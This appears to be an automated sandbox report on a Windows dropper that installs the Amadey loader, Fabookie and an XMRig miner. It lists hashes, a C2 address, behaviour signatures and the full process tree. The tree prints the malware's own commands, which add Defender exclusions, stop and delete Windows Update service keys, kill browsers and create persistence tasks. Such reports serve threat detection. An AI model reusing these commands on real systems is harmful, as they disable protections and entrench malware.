Analysis
-
max time kernel
148s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2023 00:07
Static task
static1
General
-
Target
file.exe
-
Size
4.5MB
-
MD5
1e5b2635145a5aff691b63b8ad16a4df
-
SHA1
ba01612a8df2e4d8f2859089fba64c00c3eaf43c
-
SHA256
c5ed5ae369da1d7784e5750e5da0ff898b438b79a7875590cad8bdd6af3e99f4
-
SHA512
001055e2e205cf9e543aa4811673a8860e2d60165426bb64300cb01d83b53a0a2efcc3a72f02911af36aca2a0b547ec7ee2da6825635fc9356734c09c06339b9
-
SSDEEP
98304:Kok7uaLci46qFDcaTF88bIULQaEe5vQe5:YdLci46qFYG2uEzqJ
Malware Config
Extracted
amadey
3.83
5.42.65.80/8bmeVwqx/index.php
Signatures
-
Detect Fabookie payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1236-174-0x00000000033E0000-0x0000000003512000-memory.dmp family_fabookie behavioral2/memory/1236-178-0x00000000033E0000-0x0000000003512000-memory.dmp family_fabookie -
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
XandETC.exeupdater.execonhost.exedescription pid process target process PID 1908 created 3144 1908 XandETC.exe Explorer.EXE PID 1908 created 3144 1908 XandETC.exe Explorer.EXE PID 1908 created 3144 1908 XandETC.exe Explorer.EXE PID 1908 created 3144 1908 XandETC.exe Explorer.EXE PID 1908 created 3144 1908 XandETC.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE PID 4724 created 3144 4724 conhost.exe Explorer.EXE PID 5108 created 3144 5108 updater.exe Explorer.EXE -
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/4152-306-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp xmrig behavioral2/memory/4152-307-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp xmrig behavioral2/memory/4152-310-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp xmrig behavioral2/memory/4152-313-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp xmrig behavioral2/memory/4152-316-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp xmrig behavioral2/memory/4152-318-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
file.exeoldplayer.exeoneetx.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation file.exe Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation oldplayer.exe Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation oneetx.exe -
Executes dropped EXE 7 IoCs
Processes:
aafg31.exeoldplayer.exeXandETC.exeoneetx.exeupdater.exeoneetx.exeoneetx.exepid process 1236 aafg31.exe 1516 oldplayer.exe 1908 XandETC.exe 5100 oneetx.exe 5108 updater.exe 2336 oneetx.exe 3924 oneetx.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/4152-299-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx behavioral2/memory/4152-306-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx behavioral2/memory/4152-307-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx behavioral2/memory/4152-310-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx behavioral2/memory/4152-313-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx behavioral2/memory/4152-316-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx behavioral2/memory/4152-318-0x00007FF717BD0000-0x00007FF7183C4000-memory.dmp upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 5108 set thread context of 4724 5108 updater.exe conhost.exe PID 5108 set thread context of 4152 5108 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
XandETC.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1072 sc.exe 1180 sc.exe 1752 sc.exe 5064 sc.exe 4948 sc.exe 1488 sc.exe 4732 sc.exe 3596 sc.exe 4136 sc.exe 444 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 4648 taskkill.exe 1712 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
conhost.exepowershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
XandETC.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.execonhost.exepid process 1908 XandETC.exe 1908 XandETC.exe 4836 powershell.exe 4836 powershell.exe 1908 XandETC.exe 1908 XandETC.exe 1908 XandETC.exe 1908 XandETC.exe 1908 XandETC.exe 1908 XandETC.exe 1444 powershell.exe 1444 powershell.exe 1908 XandETC.exe 1908 XandETC.exe 3340 powershell.exe 3340 powershell.exe 5108 updater.exe 5108 updater.exe 3580 powershell.exe 3580 powershell.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5008 powershell.exe 5008 powershell.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 4724 conhost.exe 4724 conhost.exe 5108 updater.exe 5108 updater.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe 4152 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 660 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
taskkill.exetaskkill.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 4648 taskkill.exe Token: SeDebugPrivilege 1712 taskkill.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeShutdownPrivilege 1340 powercfg.exe Token: SeCreatePagefilePrivilege 1340 powercfg.exe Token: SeDebugPrivilege 1444 powershell.exe Token: SeShutdownPrivilege 3372 powercfg.exe Token: SeCreatePagefilePrivilege 3372 powercfg.exe Token: SeShutdownPrivilege 1480 powercfg.exe Token: SeCreatePagefilePrivilege 1480 powercfg.exe Token: SeShutdownPrivilege 1084 powercfg.exe Token: SeCreatePagefilePrivilege 1084 powercfg.exe Token: SeIncreaseQuotaPrivilege 1444 powershell.exe Token: SeSecurityPrivilege 1444 powershell.exe Token: SeTakeOwnershipPrivilege 1444 powershell.exe Token: SeLoadDriverPrivilege 1444 powershell.exe Token: SeSystemProfilePrivilege 1444 powershell.exe Token: SeSystemtimePrivilege 1444 powershell.exe Token: SeProfSingleProcessPrivilege 1444 powershell.exe Token: SeIncBasePriorityPrivilege 1444 powershell.exe Token: SeCreatePagefilePrivilege 1444 powershell.exe Token: SeBackupPrivilege 1444 powershell.exe Token: SeRestorePrivilege 1444 powershell.exe Token: SeShutdownPrivilege 1444 powershell.exe Token: SeDebugPrivilege 1444 powershell.exe Token: SeSystemEnvironmentPrivilege 1444 powershell.exe Token: SeRemoteShutdownPrivilege 1444 powershell.exe Token: SeUndockPrivilege 1444 powershell.exe Token: SeManageVolumePrivilege 1444 powershell.exe Token: 33 1444 powershell.exe Token: 34 1444 powershell.exe Token: 35 1444 powershell.exe Token: 36 1444 powershell.exe Token: SeIncreaseQuotaPrivilege 1444 powershell.exe Token: SeSecurityPrivilege 1444 powershell.exe Token: SeTakeOwnershipPrivilege 1444 powershell.exe Token: SeLoadDriverPrivilege 1444 powershell.exe Token: SeSystemProfilePrivilege 1444 powershell.exe Token: SeSystemtimePrivilege 1444 powershell.exe Token: SeProfSingleProcessPrivilege 1444 powershell.exe Token: SeIncBasePriorityPrivilege 1444 powershell.exe Token: SeCreatePagefilePrivilege 1444 powershell.exe Token: SeBackupPrivilege 1444 powershell.exe Token: SeRestorePrivilege 1444 powershell.exe Token: SeShutdownPrivilege 1444 powershell.exe Token: SeDebugPrivilege 1444 powershell.exe Token: SeSystemEnvironmentPrivilege 1444 powershell.exe Token: SeRemoteShutdownPrivilege 1444 powershell.exe Token: SeUndockPrivilege 1444 powershell.exe Token: SeManageVolumePrivilege 1444 powershell.exe Token: 33 1444 powershell.exe Token: 34 1444 powershell.exe Token: 35 1444 powershell.exe Token: 36 1444 powershell.exe Token: SeIncreaseQuotaPrivilege 1444 powershell.exe Token: SeSecurityPrivilege 1444 powershell.exe Token: SeTakeOwnershipPrivilege 1444 powershell.exe Token: SeLoadDriverPrivilege 1444 powershell.exe Token: SeSystemProfilePrivilege 1444 powershell.exe Token: SeSystemtimePrivilege 1444 powershell.exe Token: SeProfSingleProcessPrivilege 1444 powershell.exe Token: SeIncBasePriorityPrivilege 1444 powershell.exe Token: SeCreatePagefilePrivilege 1444 powershell.exe Token: SeBackupPrivilege 1444 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
oldplayer.exepid process 1516 oldplayer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.exeoldplayer.exeoneetx.execmd.exeaafg31.execmd.execmd.exedescription pid process target process PID 824 wrote to memory of 1236 824 file.exe aafg31.exe PID 824 wrote to memory of 1236 824 file.exe aafg31.exe PID 824 wrote to memory of 1516 824 file.exe oldplayer.exe PID 824 wrote to memory of 1516 824 file.exe oldplayer.exe PID 824 wrote to memory of 1516 824 file.exe oldplayer.exe PID 824 wrote to memory of 1908 824 file.exe XandETC.exe PID 824 wrote to memory of 1908 824 file.exe XandETC.exe PID 1516 wrote to memory of 5100 1516 oldplayer.exe oneetx.exe PID 1516 wrote to memory of 5100 1516 oldplayer.exe oneetx.exe PID 1516 wrote to memory of 5100 1516 oldplayer.exe oneetx.exe PID 5100 wrote to memory of 4556 5100 oneetx.exe schtasks.exe PID 5100 wrote to memory of 4556 5100 oneetx.exe schtasks.exe PID 5100 wrote to memory of 4556 5100 oneetx.exe schtasks.exe PID 5100 wrote to memory of 3504 5100 oneetx.exe cmd.exe PID 5100 wrote to memory of 3504 5100 oneetx.exe cmd.exe PID 5100 wrote to memory of 3504 5100 oneetx.exe cmd.exe PID 3504 wrote to memory of 556 3504 cmd.exe cmd.exe PID 3504 wrote to memory of 556 3504 cmd.exe cmd.exe PID 3504 wrote to memory of 556 3504 cmd.exe cmd.exe PID 3504 wrote to memory of 480 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 480 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 480 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 3844 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 3844 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 3844 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 3664 3504 cmd.exe cmd.exe PID 3504 wrote to memory of 3664 3504 cmd.exe cmd.exe PID 3504 wrote to memory of 3664 3504 cmd.exe cmd.exe PID 3504 wrote to memory of 3656 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 3656 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 3656 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 5008 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 5008 3504 cmd.exe cacls.exe PID 3504 wrote to memory of 5008 3504 cmd.exe cacls.exe PID 1236 wrote to memory of 4648 1236 aafg31.exe taskkill.exe PID 1236 wrote to memory of 4648 1236 aafg31.exe taskkill.exe PID 1236 wrote to memory of 1712 1236 aafg31.exe taskkill.exe PID 1236 wrote to memory of 1712 1236 aafg31.exe taskkill.exe PID 1324 wrote to memory of 444 1324 cmd.exe sc.exe PID 1324 wrote to memory of 444 1324 cmd.exe sc.exe PID 4700 wrote to memory of 1340 4700 cmd.exe powercfg.exe PID 4700 wrote to memory of 1340 4700 cmd.exe powercfg.exe PID 4700 wrote to memory of 3372 4700 cmd.exe powercfg.exe PID 4700 wrote to memory of 3372 4700 cmd.exe powercfg.exe PID 1324 wrote to memory of 1488 1324 cmd.exe sc.exe PID 1324 wrote to memory of 1488 1324 cmd.exe sc.exe PID 4700 wrote to memory of 1480 4700 cmd.exe powercfg.exe PID 4700 wrote to memory of 1480 4700 cmd.exe powercfg.exe PID 1324 wrote to memory of 4732 1324 cmd.exe sc.exe PID 1324 wrote to memory of 4732 1324 cmd.exe sc.exe PID 1324 wrote to memory of 3596 1324 cmd.exe sc.exe PID 1324 wrote to memory of 3596 1324 cmd.exe sc.exe PID 4700 wrote to memory of 1084 4700 cmd.exe powercfg.exe PID 4700 wrote to memory of 1084 4700 cmd.exe powercfg.exe PID 1324 wrote to memory of 4948 1324 cmd.exe sc.exe PID 1324 wrote to memory of 4948 1324 cmd.exe sc.exe PID 1324 wrote to memory of 3552 1324 cmd.exe reg.exe PID 1324 wrote to memory of 3552 1324 cmd.exe reg.exe PID 1324 wrote to memory of 3580 1324 cmd.exe reg.exe PID 1324 wrote to memory of 3580 1324 cmd.exe reg.exe PID 1324 wrote to memory of 1660 1324 cmd.exe reg.exe PID 1324 wrote to memory of 1660 1324 cmd.exe reg.exe PID 1324 wrote to memory of 3512 1324 cmd.exe reg.exe PID 1324 wrote to memory of 3512 1324 cmd.exe reg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\aafg31.exe"C:\Users\Admin\AppData\Local\Temp\aafg31.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM chrome.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM msedge.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F5⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:R" /E6⤵
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exe"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
